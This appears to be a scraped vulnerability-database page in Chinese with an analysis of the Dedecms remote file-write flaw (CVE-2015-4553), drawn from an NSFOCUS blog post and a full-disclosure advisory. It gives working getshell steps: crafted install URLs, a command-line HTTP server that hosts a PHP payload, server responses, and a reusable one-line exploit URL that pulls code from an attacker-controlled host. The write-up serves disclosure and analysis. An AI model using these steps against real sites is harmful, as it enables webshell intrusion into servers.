漏洞概述

2015年6月17日seclists网站上公布了...">Dedecms远程写文件漏洞 - exploit database | Vulners.com漏洞概述

2015年6月17日seclists网站上公布了...">漏洞概述

2015年6月17日seclists网站上公布了...">漏洞概述

2015年6月17日seclists网站上公布了...">

Lucene search

K
seebug拿破轮胎SSV:89354
HistorySep 07, 2015 - 12:00 a.m.

Dedecms远程写文件漏洞

2015-09-0700:00:00
拿破轮胎
www.seebug.org
53

0.916 High

EPSS

Percentile

98.9%

来源链接:http://seclists.org/fulldisclosure/2015/Jun/47
</br>
http://blog.nsfocus.net/dedecms-write-file-vuln/

<p>0x00 <a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>概述</p><p>2015年6月17日seclists网站上公布了Dedecms的一个远程getshell<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>细节,造成这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>的原因也有些让人玩味。官方已在2015年6月18日发布了修复版本,下载链接:<a href=“http://www.dedecms.com/products/dedecms/downloads/”>http://www.dedecms.com/products/dedecms/downloads/</a></p><p>本篇文章将分析这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>的成因,并给出触发利用方法。</p><h2>0x01 漏洞根源</h2><p>这个<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>主要由两个原因引起的,其中最重要的一个原因,便是开发者没有认识到Apache服务器解析文件的流程,从而导致安装文件在安装后居然可以被继续访问。这里接单解释下Apache解析文件的流程:</p><blockquote><p>当Apache检测到一个文件有多个扩展名时,如1.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。</p><p>那么这样的话,像1.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak这样的文件名就会被当做<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件所解析。这也就是传说中的Apache解析<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>。</p></blockquote><p>了解了Apache解析<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>,我们就可以继续来看出问题的install/index.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak文件代码,问题代码如下:</p><p>[<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>]<br>else if($step==11)<br>{<br>require_once(‘…/data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>’);<br>$rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;<br>echo $rmurl;<br>$sql_content = file_get_contents($rmurl);<br>$fp = fopen($install_demo_name,’w’);<br>if(fwrite($fp,$sql_content))<br>echo ‘  <font color=“green”>[√]</font> 存在(您可以选择安装进行体验)‘;<br>else<br>echo ‘  <font color=“red”>[×]</font> 远程获取失败’;<br>unset($sql_content);<br>fclose($fp);<br>exit();<br>[/<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>]</p><p>了解Dedecms参数机制的同学都知道,代码中的一些变量我们是可以通过GET参数的方式进行操控的。那么上面代码很明显,可以向指定的文件内写入任意内容,从而导致获取webshell。</p><h2>0x02 漏洞利用</h2><p>从代码中我们可以看到在step=11中,先包含了data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件,这文件中指定了updataHost变量的值,这样来看似乎我们没有办法来向指定写内容。但是如果我们指定install_demo_name是config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件这个文件,并且内容是一个404文件,会造成什么效果呢?</p><p>我们先来访问这个url:<a href=“http://192.168.204.135/install/index.”>http://192.168.204.135/install/index.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/admin/config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a></p><p>这会让代码到<a href=“http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt”>http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt</a>中取内容写入到config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>,demodata.a.txt如下图:</p><p><img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/demodata.a.txt-300x119.jpg” alt=“demodata.a.txt” width=“300” height=“119”></p><p>访问PoC之后config_update.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>文件内容如下图:</p><p><img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/config_update.php_.jpg”></p><p>这样updataHost变量值便没有被初始化了,之后我们想写什么就可以些什么了。这里我们用下面的这个url做测试:<a href=“http://192.168.204.135/install/index.”>http://192.168.204.135/install/index.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=…/data/tang3.<a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>&updateHost=<a href=“http://192.168.1.1/”>http://192.168.1.1/</a></p><p>访问<a href=“http://192.168.204.135/data/tang3.”>http://192.168.204.135/data/tang3.</a><a href=“http://blog.nsfocus.net/tag/php/” target=“_blank”>php</a>,效果如下图:</p><p><img src=“http://blog.nsfocus.net/wp-content/uploads/2015/07/payload-300x150.jpg” alt=“payload” width=“300” height=“150”></p><h2>0x03 漏洞总结</h2><h3>漏洞小结</h3><ol><li><p>影响范围个人评价为“高”,Dedecms在国内使用范围很广,各种中小型网站,政府网站都是用它搭建的。</p></li><li><p>危害性个人评价为“高”,此<a href=“http://blog.nsfocus.net/category/漏洞分析/” target=“_blank”>漏洞</a>在Apache默认环境下,即可获取webshell,危害很大。</p></li></ol><h3><br></h3>
</br><h3>补充内容:</h3>
#############################################################################

<p>[CVE-2015-4553]Dedecms variable coverage leads to getshell</p><p># CVE ID:   CVE-2015-4553</p><p># Subject:   Dedecms variable coverage leads to getshell</p><p># Author:   zise</p><p># Date:     06.17.2015</p><p>#############################################################################</p><p>Introduction:</p><p>========</p><p>dedecms Open source cms</p><p>Extensive application</p><p>  </p><p>Influence version</p><p>Newest dedecms 5.7-sp1 and all old version</p><p> </p><p> </p><p>Remote getshell</p><p>Details:</p><p>=======</p><p>After the default installation of dedecms</p><p>Installation directory 安装路径说明</p><p>/install/index.php</p><p>or</p><p>/install/index.php.bak</p><p>  </p><p>/install/index.php //run iis apache exploit</p><p>/install/index.php.bak //run apache exploit</p><p><b>Code analysis 源码分析</b>:</p><p>/install/index.php.bak?install_demo_name=aaaa&insLockfile=bbbb</p><p>###########index.php.bak 的源码分析###########################################</p><p>17 $install_demo_name = ‘dedev57demo.txt’;</p><p>18 $insLockfile = dirname(FILE).‘/install_lock.txt’;</p><p> </p><p>// here $install_demo_name and $insLockfile definition 变量定义并初始化</p><p>// echo $install_demo_name;  printf dedev57demo.txt</p><p> </p><p>29 foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as $_request)</p><p>30 {</p><p>31    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);</p><p>32 }</p><p> </p><p>// echo $install_demo_name; printf aaaa 变量内容被覆盖,这就是漏洞所在了</p><p>// $install_demo_name by variable coverage</p><p>#############################################################################</p><p> </p><p><b> </b></p><p><b> 漏洞利用方法:</b></p><p>  </p><p>GETSHELL Step 1 Clear file contents config_update.php</p><p>#############################################################################</p><p>config_update.php </p><p>13 $updateHost = ‘<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>’;</p><p>14 $linkHost = ‘<a href=“http://flink.dedecms.com/server_url.php”>http://flink.dedecms.com/server_url.php</a>’;</p><p> </p><p>//In order to obtain the webshell need to control $updateHost</p><p>//So the use of variable coverags cleared config_update.php</p><p>// 通过漏洞来覆盖$updatehost的值。具体方法就是使用下面这个url。</p><p> </p><p><a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a></p><p>?step=11</p><p>&insLockfile=a</p><p>&s_lang=a</p><p>&install_demo_name=…/data/admin/config_update.php</p><p><br></p><p>########这段代码的作用是文件内容copy#############</p><p>373 else if($step==11)</p><p>374 {</p><p>375 require_once(‘…/data/admin/config_update.php’);</p><p>376 $rmurl = $updateHost.“dedecms/demodata.{$s_lang}.txt”;</p><p>377</p><p>378 $sql_content = file_get_contents($rmurl);</p><p>379 $fp = fopen($install_demo_name,‘w’); //向文件中写入语句</p><p>380 if(fwrite($fp,$sql_content))</p><p>381 echo ‘&nbsp; <font color=“green”>[√]</font> 存在(您可以选择安装进行体验)’;</p><p>382 else</p><p>383 echo ‘&nbsp; <font color=“red”>[×]</font> 远程获取失败’;</p><p>384 unset($sql_content);</p><p>385 fclose($fp);</p><p>386 exit();</p><p>387 }</p><p> </p><p>#根据以上代码,下面的URL访问的结果就是向/data/admin/config_update.php文件中写入<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>dedecms/demodata.a.txt文件的内容。</p><p><a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a></p><p>?step=11</p><p>&insLockfile=a</p><p>&s_lang=a</p><p>&install_demo_name=…/data/admin/config_update.php</p><p>###</p><p>HTTP/1.1 200 OK</p><p>Date: Wed, 17 Jun 2015 06:55:23 GMT</p><p>Server: Apache/2.4.12</p><p>X-Powered-By: PHP/5.6.6</p><p>Vary: User-Agent</p><p>Content-Length: 55</p><p>Keep-Alive: timeout=5, max=100</p><p>Connection: Keep-Alive</p><p>Content-Type: text/html; charset=utf-8</p><p>  </p><p>  <font color=“red”>[×]</font> 远程获取失败</p><p>###访问的响应包,之所以访问失败,是因为<a href=“http://updatenew.dedecms.com/base-v57/”>http://updatenew.dedecms.com/base-v57/</a>dedecms/demodata.a.txt 的内容不存在。####</p><p> </p><p> </p><p> </p><p> </p><p>###After execution file 0 byte ~ho~year~####</p><p>2015/06/17  14:55                 0 config_update.php</p><p>               1 file              0 byte</p><p> </p><p> </p><p>  </p><p>GETSHELL Step 2</p><p>#############################################################################</p><p>Create local HTTP services #自己部署一个本地http服务器,下面是命令和输出。</p><p>  </p><p>zise:tmp zise$ ifconfig en0</p><p>en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500</p><p>inet 119.253.3.18 netmask 0xffffff00 broadcast </p><p>  </p><p>zise:tmp zise$ mkdir “dedecms”</p><p>zise:tmp zise$ cd dedecms/</p><p>zise:dedecms zise$ echo “<?php phpinfo();?>” > demodata.a.txt</p><p>zise:dedecms zise$ cd …/</p><p>zise:tmp zise$ python -m SimpleHTTPServer</p><p>Serving HTTP on 0.0.0.0 port 8000 …</p><p>192.168.204.135 - - [17/Jun/2015 15:11:18] “GET /dedecms/demodata.a.txt HTTP/1.0” 200 -</p><p>##创建了http服务器,并且有一个可以访问的文本,其中的内容是显示phpinfo。</p><p>  </p><p>####</p><p><a href=“http://192.168.204.135/install/index.php.bak”>http://192.168.204.135/install/index.php.bak</a></p><p>?step=11</p><p>&insLockfile=a</p><p>&s_lang=a</p><p>&install_demo_name=hello.php</p><p>&updateHost=<a href=“http://119.253.3.18:8000/”>http://119.253.3.18:8000/</a></p><p>##url后跟的参数都是由这个URL对应的php页面来处理的吧</p><p>##访问的结果就是向/data/admin/hello.php文件中写入<a href="http://119.253.3.18:8000/">http://119.253.3.18:8000/</a>&nbsp;中"dedecms/demodata.a.txt"文件的内容。</p><p> </p><p>####</p><p>  </p><p>HTTP/1.1 200 OK</p><p>Date: Wed, 17 Jun 2015 07:11:18 GMT</p><p>Server: Apache/2.4.12</p><p>X-Powered-By: PHP/5.6.6</p><p>Vary: Accept-Encoding,User-Agent</p><p>Content-Length: 81</p><p>Keep-Alive: timeout=5, max=100</p><p>Connection: Keep-Alive</p><p>Content-Type: text/html; charset=utf-8</p><p>  </p><p>  <font color=“green”>[√]</font> 存在(您可以选择安装进行体验)</p><p> </p><p> </p><p>再来看前面那段index.php.bak的源码:</p><p>373 else if($step==11)</p><p>374 {</p><p>375 require_once(‘…/data/admin/config_update.php’);</p><p>376 $rmurl = $updateHost.“dedecms/demodata.{$s_lang}.txt”;</p><p>377</p><p>378 $sql_content = file_get_contents($rmurl);</p><p>379 $fp = fopen($install_demo_name,‘w’);</p><p>380 if(fwrite($fp,$sql_content))  //fwrite websehll 文件写入就是这里发生的,写入的内容则由自己控制的文本确定。</p><p>381 echo ‘&nbsp; <font color=“green”>[√]</font> 存在(您可以选择安装进行体验)’;</p><p>382 else</p><p>383 echo ‘&nbsp; <font color=“red”>[×]</font> 远程获取失败’;</p><p>384 unset($sql_content);</p><p>385 fclose($fp);</p><p>386 exit();</p><p>387 }</p><p>  </p><p><a href=“http://192.168.204.135/install/hello.php#”>http://192.168.204.135/install/hello.php#</a>这就是webshell的页面</p><p> </p><p>This is the vulnerability of some web pages</p><p><a href=“http://seclists.org/fulldisclosure/2015/Jun/47”>http://seclists.org/fulldisclosure/2015/Jun/47</a></p><p>所以,利用只需一步,访问这个url即可:</p><p>http://目标IP/install/index.php.bak?step=11&amp;insLockfile=a&amp;s_lang=a&amp;install_demo_name=hello.php&amp;updateHost=http://自己控制的http服务器/</p>

0.916 High

EPSS

Percentile

98.9%